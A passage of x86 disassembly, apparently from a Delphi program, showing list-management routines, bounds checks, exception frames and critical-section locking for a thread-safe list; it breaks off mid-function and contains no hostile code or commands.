		call	sub_4001326C
		mov	esi, eax
		mov	eax, [edi+4]
		mov	edx, esi
		call	sub_400136BC
		mov	byte ptr [esi+10h], 1
		mov	eax, edi
		test	bl, bl
		jz	short loc_4001343F
		call	sub_40003F88
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_4001343F:				; CODE XREF: sub_400133D4+5Aj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_400133D4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40013448	proc near		; DATA XREF: .text:4001325Co
		push	ebx
		push	esi
		push	edi
		push	ebp
		call	sub_40003FD8
		mov	ebx, edx
		mov	ebp, eax
		lea	eax, [ebp+8]
		push	eax
		call	sub_40006518	; RtlDeleteCriticalSection
		mov	eax, [ebp+4]
		test	eax, eax
		jz	short loc_40013483
		mov	esi, [eax+8]
		dec	esi
		test	esi, esi
		jl	short loc_40013483
		inc	esi
		xor	edi, edi


loc_40013470:				; CODE XREF: sub_40013448+39j
		mov	eax, [ebp+4]
		mov	edx, edi
		call	sub_400137FC
		call	sub_40003CE8
		inc	edi
		dec	esi
		jnz	short loc_40013470


loc_40013483:				; CODE XREF: sub_40013448+1Bj
					; sub_40013448+23j
		mov	eax, [ebp+4]
		call	sub_40003CE8
		mov	edx, ebx
		and	dl, 0FCh
		mov	eax, ebp
		call	sub_40003CD8
		test	bl, bl
		jle	short loc_400134A2
		mov	eax, ebp
		call	sub_40003F80


loc_400134A2:				; CODE XREF: sub_40013448+51j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40013448	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400134A8	proc near		; CODE XREF: sub_40013510+Bp
		add	eax, 8
		push	eax
		call	sub_40006520	; RtlEnterCriticalSection
		retn
sub_400134A8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400134B4	proc near		; CODE XREF: sub_40013510+3Cp
		add	eax, 8
		push	eax
		call	sub_400065E8	; RtlLeaveCriticalSection
		retn
sub_400134B4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400134C0	proc near		; CODE XREF: sub_40013510+25p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, edx
		mov	edi, eax
		mov	eax, [edi+4]
		mov	ebx, [eax+8]
		dec	ebx
		cmp	ebx, 0
		jl	short loc_40013509


loc_400134D4:				; CODE XREF: sub_400134C0+47j
		mov	eax, [edi+4]
		mov	edx, ebx
		call	sub_400137FC
		mov	esi, eax
		mov	edx, ebp
		mov	eax, esi
		call	sub_40013328
		mov	eax, [esi+0Ch]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_40013503
		mov	eax, esi
		call	sub_40003CE8
		mov	eax, [edi+4]
		mov	edx, ebx
		call	sub_40013708


loc_40013503:				; CODE XREF: sub_400134C0+30j
		dec	ebx
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_400134D4


loc_40013509:				; CODE XREF: sub_400134C0+12j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_400134C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40013510	proc near		; CODE XREF: sub_40013ECCp
					; sub_40013ED4+1Ep
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, eax
		mov	eax, ds:dword_4001F2D8
		call	sub_400134A8
		xor	eax, eax
		push	ebp
		push	offset loc_40013552
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, ebx
		mov	eax, ds:dword_4001F2D8
		call	sub_400134C0
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40013559


loc_40013547:				; CODE XREF: sub_40013510+47j
		mov	eax, ds:dword_4001F2D8
		call	sub_400134B4
		retn
; ---------------------------------------------------------------------------


loc_40013552:				; DATA XREF: sub_40013510+13o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40013547
; ---------------------------------------------------------------------------


loc_40013559:				; CODE XREF: sub_40013510+41j
					; DATA XREF: sub_40013510+32o
		pop	ebx
		pop	ebp
		retn
sub_40013510	endp

; ---------------------------------------------------------------------------
off_4001355C	dd offset dword_400135A8 ; DATA	XREF: sub_400135EC+Fr
		dd 7 dup(0)
		dd offset dword_400135A8
		dd 10h
		dd offset off_4000101C
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_400135A8	dd 6E495409h, 6E6F4374h, 0C08B7473h					; .text:4001357Co

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400135B4	proc near		; CODE XREF: sub_400135EC+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		test	dl, dl
		jz	short loc_400135C3
		add	esp, 0FFFFFFF0h
		call	sub_40003F30


loc_400135C3:				; CODE XREF: sub_400135B4+5j
		mov	[eax+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	[eax+8], ecx
		mov	ecx, [ebp+arg_0]
		mov	[eax+0Ch], ecx
		test	dl, dl
		jz	short loc_400135E5
		call	sub_40003F88
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_400135E5:				; CODE XREF: sub_400135B4+20j
		pop	ebp
		retn	8
sub_400135B4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400135EC	proc near		; CODE XREF: .itext:4001937Dp
					; .itext:40019391p
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		push	esi
		push	edi
		mov	ecx, ebx
		mov	dl, 1
		mov	eax, ds:off_4001355C
		call	sub_400135B4
		mov	edx, eax
		mov	eax, ds:dword_4001F2D4
		call	sub_40013A1C
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_400135EC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40013618	proc near		; CODE XREF: sub_40014D7C+7p
					; .text:40014F57p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], edx
		mov	edi, eax
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jl	short loc_4001364E
		inc	esi
		lea	ebx, [ecx+4]


loc_4001362F:				; CODE XREF: sub_40013618+34j
		mov	edx, edi
		mov	eax, [ebx]
		call	sub_40007B90
		test	al, al
		jz	short loc_40013648
		mov	al, 1
		mov	edx, [ebp+var_4]
		mov	ecx, [ebx-4]
		mov	[edx], ecx
		jmp	short loc_40013650
; ---------------------------------------------------------------------------


loc_40013648:				; CODE XREF: sub_40013618+22j
		add	ebx, 8
		dec	esi
		jnz	short loc_4001362F


loc_4001364E:				; CODE XREF: sub_40013618+11j
		xor	eax, eax


loc_40013650:				; CODE XREF: sub_40013618+2Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	4
sub_40013618	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40013658	proc near		; CODE XREF: sub_40014D6C+7p
					; .text:40014F47p

var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ecx
		mov	edi, edx
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jl	short loc_4001368B
		inc	esi
		mov	ebx, [ebp+var_4]


loc_40013671:				; CODE XREF: sub_40013658+31j
		cmp	eax, [ebx]
		jnz	short loc_40013685
		mov	[ebp+var_5], 1
		mov	eax, edi
		mov	edx, [ebx+4]
		call	sub_400048D8
		jmp	short loc_4001368F
; ---------------------------------------------------------------------------


loc_40013685:				; CODE XREF: sub_40013658+1Bj
		add	ebx, 8
		dec	esi
		jnz	short loc_40013671


loc_4001368B:				; CODE XREF: sub_40013658+13j
		mov	[ebp+var_5], 0


loc_4001368F:				; CODE XREF: sub_40013658+2Bj
		movzx	eax, [ebp+var_5]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn	4
sub_40013658	endp


; =============== S U B	R O U T	I N E =======================================



sub_4001369C	proc near		; DATA XREF: .text:40013088o
		push	ebx
		push	esi
		call	sub_40003FD8
		mov	ebx, edx
		mov	esi, eax
		mov	eax, esi
		mov	edx, [eax]
		call	dword ptr [edx+8]
		test	bl, bl
		jle	short loc_400136B9
		mov	eax, esi
		call	sub_40003F80


loc_400136B9:				; CODE XREF: sub_4001369C+14j
		pop	esi
		pop	ebx
		retn
sub_4001369C	endp


; =============== S U B	R O U T	I N E =======================================



sub_400136BC	proc near		; CODE XREF: sub_4001326C+38p
					; sub_400133D4+4Dp ...
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	ebx, eax
		mov	esi, [ebx+8]
		cmp	esi, [ebx+0Ch]
		jnz	short loc_400136D1
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx]


loc_400136D1:				; CODE XREF: sub_400136BC+Dj
		mov	eax, [ebx+4]
		mov	[eax+esi*4], edi
		inc	dword ptr [ebx+8]
		test	edi, edi
		jz	short loc_400136E9
		xor	ecx, ecx
		mov	edx, edi
		mov	eax, ebx
		mov	ebx, [eax]
		call	dword ptr [ebx+4]


loc_400136E9:				; CODE XREF: sub_400136BC+20j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_400136BC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400136F0	proc near		; DATA XREF: .text:40013094o
		push	ebx
		mov	ebx, eax
		xor	edx, edx
		mov	eax, ebx
		call	sub_400138D4
		xor	edx, edx
		mov	eax, ebx
		call	sub_40013898
		pop	ebx
		retn
sub_400136F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40013708	proc near		; CODE XREF: sub_40013328+2Dp
					; sub_40013328+62p ...
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	ebx, eax
		test	esi, esi
		jl	short loc_40013718
		cmp	esi, [ebx+8]
		jl	short loc_40013727


loc_40013718:				; CODE XREF: sub_40013708+9j
		mov	edx, off_4001B05C
		mov	ecx, esi
		mov	eax, [ebx]
		call	sub_400137A8


loc_40013727:				; CODE XREF: sub_40013708+Ej
		mov	edx, esi
		mov	eax, ebx
		call	sub_400137FC
		mov	edi, eax
		dec	dword ptr [ebx+8]
		mov	eax, [ebx+8]
		cmp	esi, eax
		jge	short loc_40013756
		sub	eax, esi
		mov	ecx, eax
		add	ecx, ecx
		add	ecx, ecx
		mov	eax, [ebx+4]
		lea	edx, [eax+esi*4]
		mov	eax, [ebx+4]
		lea	eax, [eax+esi*4+4]
		call	sub_40002DFC


loc_40013756:				; CODE XREF: sub_40013708+32j
		test	edi, edi
		jz	short loc_40013765
		mov	cl, 2
		mov	edx, edi
		mov	eax, ebx
		mov	ebx, [eax]
		call	dword ptr [ebx+4]


loc_40013765:				; CODE XREF: sub_40013708+50j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40013708	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4001376C	proc near		; CODE XREF: sub_40013770+9p
		mov	eax, [ebp+4]
		retn
sub_4001376C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40013770	proc near		; CODE XREF: sub_400137A8+2Dp
					; DATA XREF: .text:40013098o

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	esi, ecx
		mov	ebx, edx
		call	sub_4001376C
		push	eax
		mov	[esp+14h+var_10], esi
		mov	[esp+14h+var_C], 0
		lea	eax, [esp+14h+var_10]
		push	eax
		push	0
		mov	ecx, ebx
		mov	dl, 1
		mov	eax, ds:off_40012F88
		call	sub_4000B06C
		jmp	sub_400042E4
sub_40013770	endp

; ---------------------------------------------------------------------------
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400137A8	proc near		; CODE XREF: sub_40013708+1Ap
					; sub_400137FC+19p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ebx, edx
		xor	eax, eax
		push	ebp
		push	offset loc_400137F0
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_4]
		mov	eax, ebx
		call	sub_400062F0
		mov	edx, [ebp+var_4]
		mov	ecx, esi
		mov	eax, ds:off_40013040
		call	sub_40013770
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_400137F7


loc_400137E7:				; CODE XREF: sub_400137A8+4Dj
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_400137F0:				; DATA XREF: sub_400137A8+Eo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_400137E7
; ---------------------------------------------------------------------------


loc_400137F7:				; CODE XREF: sub_400137A8+47j
					; DATA XREF: sub_400137A8+3Ao
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_400137A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_400137FC	proc near		; CODE XREF: sub_40013328+18p
					; sub_40013328+4Dp ...
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		test	esi, esi
		jl	short loc_4001380B
		cmp	esi, [ebx+8]
		jl	short loc_4001381A


loc_4001380B:				; CODE XREF: sub_400137FC+8j
		mov	edx, off_4001B05C
		mov	ecx, esi
		mov	eax, [ebx]
		call	sub_400137A8


loc_4001381A:				; CODE XREF: sub_400137FC+Dj
		mov	eax, [ebx+4]
		mov	eax, [eax+esi*4]
		pop	esi
		pop	ebx
		retn
sub_400137FC	endp

; ---------------------------------------------------------------------------
		align 4


loc_40013824:				; DATA XREF: .text:off_4001308Co
		mov	edx, [eax+0Ch]
		cmp	edx, 40h
		jle	short loc_4001383A
		mov	ecx, edx
		test	ecx, ecx
		jns	short loc_40013835
		add	ecx, 3


loc_40013835:				; CODE XREF: .text:40013830j
		sar	ecx, 2
		jmp	short loc_4001384B
; ---------------------------------------------------------------------------


loc_4001383A:				; CODE XREF: .text:4001382Aj
		cmp	edx, 8
		jle	short loc_40013846
		mov	ecx, 10h
		jmp	short loc_4001384B
; ---------------------------------------------------------------------------


loc_40013846:				; CODE XREF: .text:4001383Dj
		mov	ecx, 4


loc_4001384B:				; CODE XREF: .text:40013838j
					; .text:40013844j
		add	ecx, edx
		mov	edx, ecx
		call	sub_40013898
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40013858	proc near		; CODE XREF: sub_40013878+6p
					; sub_40013A1C+31p
		push	ebx
		xor	ecx, ecx
		jmp	short loc_4001385E
; ---------------------------------------------------------------------------


loc_4001385D:				; CODE XREF: sub_40013858+11j
		inc	ecx


loc_4001385E:				; CODE XREF: sub_40013858+3j
		cmp	ecx, [eax+8]
		jge	short loc_4001386B
		mov	ebx, [eax+4]
		cmp	edx, [ebx+ecx*4]
		jnz	short loc_4001385D


loc_4001386B:				; CODE XREF: sub_40013858+9j
		cmp	ecx, [eax+8]
		jnz	short loc_40013873
		or	ecx, 0FFFFFFFFh


loc_40013873:				; CODE XREF: sub_40013858+16j
		mov	eax, ecx
		pop	ebx
		retn
sub_40013858	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40013878	proc near		; CODE XREF: sub_40013AB8+28p
		push	ebx
		push	esi
		mov	ebx, eax
		mov	eax, ebx
		call	sub_40013858
		mov	esi, eax
		test	esi, esi
		jl	short loc_40013892
		mov	edx, esi
		mov	eax, ebx
		call	sub_40013708


loc_40013892:				; CODE XREF: sub_40013878+Fj
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_40013878	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40013898	proc near		; CODE XREF: sub_400136F0+10p
					; .text:4001384Fp ...
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		cmp	esi, [ebx+8]
		jl	short loc_400138AB
		cmp	esi, 7FFFFFFh
		jle	short loc_400138BA


loc_400138AB:				; CODE XREF: sub_40013898+9j
		mov	edx, off_4001AFE4
		mov	ecx, esi
		mov	eax, [ebx]
		call	sub_400137A8


loc_400138BA:				; CODE XREF: sub_40013898+11j
		cmp	esi, [ebx+0Ch]
		jz	short loc_400138D0
		mov	edx, esi
		add	edx, edx
		add	edx, edx
		lea	eax, [ebx+4]
		call	sub_40002C54
		mov	[ebx+0Ch], esi


loc_400138D0:				; CODE XREF: sub_40013898+25j
		pop	esi
		pop	ebx
		retn
sub_40013898	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400138D4	proc near		; CODE XREF: sub_400136F0+7p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	esi, edx
		mov	ebx, eax
		test	esi, esi
		jl	short loc_400138E8
		cmp	esi, 7FFFFFFh
		jle	short loc_400138F7


loc_400138E8:				; CODE XREF: sub_400138D4+Aj
		mov	edx, off_4001AFA0
		mov	ecx, esi
		mov	eax, [ebx]
		call	sub_400137A8


loc_400138F7:				; CODE XREF: sub_400138D4+12j
		cmp	esi, [ebx+0Ch]
		jle	short loc_40013905
		mov	edx, esi
		mov	eax, ebx
		call	sub_40013898


loc_40013905:				; CODE XREF: sub_400138D4+26j
		mov	eax, [ebx+8]
		cmp	esi, eax
		jle	short loc_40013926
		mov	edx, [ebx+4]
		lea	edx, [edx+eax*4]
		mov	ecx, esi
		sub	ecx, eax
		mov	eax, ecx
		add	eax, eax
		add	eax, eax
		xor	ecx, ecx
		xchg	eax, edx
		call	sub_40003580
		jmp	short loc_4001393D
; ---------------------------------------------------------------------------


loc_40013926:				; CODE XREF: sub_400138D4+36j
		mov	ebp, eax
		dec	ebp
		mov	edi, esi
		sub	edi, ebp
		jg	short loc_4001393D
		dec	edi


loc_40013930:				; CODE XREF: sub_400138D4+67j
		mov	edx, ebp
		mov	eax, ebx
		call	sub_40013708
		dec	ebp
		inc	edi
		jnz	short loc_40013930


loc_4001393D:				; CODE XREF: sub_400138D4+50j
					; sub_400138D4+59j
		mov	[ebx+8], esi
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_400138D4	endp

; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4001394C	proc near		; CODE XREF: sub_400191F8+60p
					; sub_400191F8+71p ...
		push	ebx
		push	esi
		test	dl, dl
		jz	short loc_4001395A
		add	esp, 0FFFFFFF0h
		call	sub_40003F30


loc_4001395A:				; CODE XREF: sub_4001394C+4j
		mov	ebx, edx
		mov	esi, eax
		xor	edx, edx
		mov	eax, esi
		call	sub_40003CB8
		lea	eax, [esi+8]
		push	eax
		call	sub_400065E0	; InitializeCriticalSection
		mov	dl, 1
		mov	eax, ds:off_40013040
		call	sub_40003CB8
		mov	[esi+4], eax
		mov	byte ptr [esi+20h], 0
		mov	eax, esi
		test	bl, bl
		jz	short loc_40013998
		call	sub_40003F88
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_40013998:				; CODE XREF: sub_4001394C+3Bj
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_4001394C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400139A0	proc near		; DATA XREF: .text:400130ECo

var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		call	sub_40003FD8
		mov	[ebp+var_5], dl
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_40013AA4
		xor	eax, eax
		push	ebp
		push	offset loc_40013A03
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		call	sub_40003CE8
		movzx	edx, [ebp+var_5]
		and	dl, 0FCh
		mov	eax, [ebp+var_4]
		call	sub_40003CD8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40013A0A


loc_400139EE:				; CODE XREF: sub_400139A0+68j
		mov	eax, [ebp+var_4]
		call	sub_40013B08
		mov	eax, [ebp+var_4]
		add	eax, 8
		push	eax
		call	sub_40006518	; RtlDeleteCriticalSection
		retn
; ---------------------------------------------------------------------------


loc_40013A03:				; DATA XREF: sub_400139A0+1Co
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_400139EE
; ---------------------------------------------------------------------------


loc_40013A0A:				; DATA XREF: sub_400139A0+49o
		cmp	[ebp+var_5], 0
		jle	short loc_40013A18
		mov	eax, [ebp+var_4]
		call	sub_40003F80


loc_40013A18:				; CODE XREF: sub_400139A0+6Ej
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_400139A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40013A1C	proc near		; CODE XREF: sub_400135EC+20p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_40013AA4
		xor	eax, eax
		push	ebp
		push	offset loc_40013A98
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax+20h], 1
		jz	short loc_40013A55
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		mov	edx, ebx
		call	sub_40013858
		inc	eax
		jnz	short loc_40013A64


loc_40013A55:				; CODE XREF: sub_40013A1C+27j
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		mov	edx, ebx
		call	sub_400136BC
		jmp	short loc_40013A82
; ---------------------------------------------------------------------------


loc_40013A64:				; CODE XREF: sub_40013A1C+37j
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax+20h], 2
		jnz	short loc_40013A82
		mov	edx, off_4001AF90
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		mov	eax, [eax]
		mov	ecx, ebx
		call	sub_400137A8


loc_40013A82:				; CODE XREF: sub_40013A1C+46j
					; sub_40013A1C+4Fj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40013A9F


loc_40013A8F:				; CODE XREF: sub_40013A1C+81j
		mov	eax, [ebp+var_4]
		call	sub_40013B08
		retn
; ---------------------------------------------------------------------------


loc_40013A98:				; DATA XREF: sub_40013A1C+15o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40013A8F
; ---------------------------------------------------------------------------


loc_40013A9F:				; CODE XREF: sub_40013A1C+7Bj
					; DATA XREF: sub_40013A1C+6Eo
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_40013A1C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40013AA4	proc near		; CODE XREF: sub_400139A0+14p
					; sub_40013A1C+Dp ...
		push	ebx
		mov	ebx, eax
		lea	eax, [ebx+8]
		push	eax
		call	sub_40006520	; RtlEnterCriticalSection
		mov	eax, [ebx+4]
		pop	ebx
		retn
sub_40013AA4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40013AB8	proc near		; CODE XREF: sub_40015840+79p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_40013AA4
		xor	eax, eax
		push	ebp
		push	offset loc_40013AFB
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		mov	edx, ebx
		call	sub_40013878
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40013B02


loc_40013AF2:				; CODE XREF: sub_40013AB8+48j
		mov	eax, [ebp+var_4]
		call	sub_40013B08
		retn
; ---------------------------------------------------------------------------


loc_40013AFB:				; DATA XREF: sub_40013AB8+15o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40013AF2
; ---------------------------------------------------------------------------


loc_40013B02:				; CODE XREF: sub_40013AB8+42j
					; DATA XREF: sub_40013AB8+35o
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_40013AB8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40013B08	proc near		; CODE XREF: sub_400139A0+51p
					; sub_40013A1C+76p ...
		add	eax, 8
		push	eax
		call	sub_400065E8	; RtlLeaveCriticalSection
		retn
sub_40013B08	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40013B14	proc near		; DATA XREF: .text:40013144o
		push	ebx
		push	esi
		call	sub_40003FD8
		mov	ebx, edx
		mov	esi, eax
		mov	eax, esi
		call	sub_40013D90
		mov	edx, ebx
		and	dl, 0FCh
		mov	eax, esi
		call	sub_40003CD8
		test	bl, bl
		jle	short loc_40013B3D
		mov	eax, esi
		call	sub_40003F80


loc_40013B3D:				; CODE XREF: sub_40013B14+20j
		pop	esi
		pop	ebx
		retn
sub_40013B14	endp


; =============== S U B	R O U T	I N E =======================================



sub_40013B40	proc near		; DATA XREF: .text:40013150o
		test	edx, edx
		jz	short loc_40013B4A
		xchg	eax, edx
		mov	ecx, [eax]
		call	dword ptr [ecx]
		retn
; ---------------------------------------------------------------------------


loc_40013B4A:				; CODE XREF: sub_40013B40+2j
		xor	edx, edx
		call	sub_40013B54
		retn
sub_40013B40	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40013B54	proc near		; CODE XREF: sub_40013B40+Cp
					; .text:40013C25p

var_114		= dword	ptr -114h
var_110		= byte ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_104		= byte ptr -104h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEECh
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_4], ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40013C0A
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		test	esi, esi
		jz	short loc_40013B97
		lea	edx, [ebp+var_104]
		mov	eax, [esi]
		call	sub_40003C6C
		lea	edx, [ebp+var_104]
		lea	eax, [ebp+var_4]
		call	sub_40004AE8
		jmp	short loc_40013BA4
; ---------------------------------------------------------------------------


loc_40013B97:				; CODE XREF: sub_40013B54+24j
		lea	eax, [ebp+var_4]
		mov	edx, offset dword_40013C20
		call	sub_4000491C


loc_40013BA4:				; CODE XREF: sub_40013B54+41j
		mov	eax, [ebp+var_4]
		mov	[ebp+var_114], eax
		mov	[ebp+var_110], 0Bh
		lea	edx, [ebp+var_104]
		mov	eax, [ebx]
		call	sub_40003C6C
		lea	eax, [ebp+var_104]
		mov	[ebp+var_10C], eax
		mov	[ebp+var_108], 4
		lea	eax, [ebp+var_114]
		push	eax
		push	1
		mov	ecx, off_4001AFAC
		mov	dl, 1
		mov	eax, ds:off_400073E4
		call	sub_4000B128
		call	sub_400042E4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40013C11


loc_40013C01:				; CODE XREF: sub_40013B54+BBj
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_40013C0A:				; DATA XREF: sub_40013B54+17o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40013C01
; ---------------------------------------------------------------------------


loc_40013C11:				; CODE XREF: sub_40013B54+B5j
					; DATA XREF: sub_40013B54+A8o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40013B54	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 3
dword_40013C20	dd 6C696Eh	; ---------------------------------------------------------------------------


loc_40013C24:				; DATA XREF: .text:off_40013148o
		xchg	eax, edx
		call	sub_40013B54
		retn
; ---------------------------------------------------------------------------
		align 4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40013C30	proc near		; DATA XREF: .text:4001315Eo

var_104		= byte ptr -104h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEFCh
		push	ebx
		push	esi
		push	edi
		xor	ecx, ecx
		mov	[ebp+var_4], ecx
		mov	edi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40013CC5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_104]
		mov	eax, [ebx]
